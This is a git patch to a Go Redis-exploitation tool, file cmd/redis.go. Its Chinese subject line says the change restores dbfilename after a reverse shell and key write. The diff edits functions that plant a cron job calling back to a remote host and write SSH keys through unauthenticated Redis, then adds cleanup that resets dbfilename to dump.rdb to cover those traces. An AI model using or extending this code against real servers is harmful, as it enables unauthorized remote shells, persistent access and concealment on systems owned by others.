From c793ff4145eefa04b76346e646a7300f874fc09f Mon Sep 17 00:00:00 2001 From: sairson Date: Mon, 10 Jan 2022 11:45:01 +0800 Subject: [PATCH] =?UTF-8?q?=E5=A2=9E=E5=8A=A0redis=E5=9C=A8=E6=89=A7?= =?UTF-8?q?=E8=A1=8C=E5=AE=8C=E6=88=90=E5=8F=8D=E5=BC=B9shell=E5=92=8Ckey?= =?UTF-8?q?=E5=86=99=E5=85=A5=E5=90=8E=EF=BC=8C=E5=9B=9E=E5=A4=8Ddbfilenam?= =?UTF-8?q?e=E4=B8=BAdump.rdb?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cmd/redis.go | 29 +++++++++++++++++++++++++++-- 1 file changed, 27 insertions(+), 2 deletions(-) diff --git a/cmd/redis.go b/cmd/redis.go index 0f11128..0fd49d6 100644 --- a/cmd/redis.go +++ b/cmd/redis.go @@ -290,8 +290,8 @@ func RedisExec(conn net.Conn, cmd string) { } func RedisCron(conn net.Conn, RemoteHost string) (bool, error) { - c, s, e := RedisWrite(conn) - Println(fmt.Sprintf("%v %v %v", c, s, e)) + c, s, _ := RedisWrite(conn) + Println(fmt.Sprintf("[+] Redis cron %v ssh %v", c, s)) // 先解析RemoteHost参数 var ( remote = strings.Split(RemoteHost, ":") @@ -344,9 +344,22 @@ func RedisCron(conn net.Conn, RemoteHost string) (bool, error) { return false, err } if strings.Contains(reply, "OK") { + Println("[+] save corn success") flag = true } } + // 恢复原始的dbfilename + _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n"))) + if err != nil { + return false, err + } + reply, err = RedisReply(conn) + if err != nil { + return false, err + } + if strings.Contains(reply, "OK") { + Println("[+] Restore the original dbfilename") + } } } return flag, nil @@ -403,6 +416,18 @@ func RedisKey(conn net.Conn, filename string) (bool, error) { flag = true } } + // 恢复原始的dbfilename + _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n"))) + if err != nil { + return false, err + } + reply, err = RedisReply(conn) + if err != nil { + return false, err + } + if strings.Contains(reply, "OK") { + Println("[+] Restore the original dbfilename") + } } } return flag, nil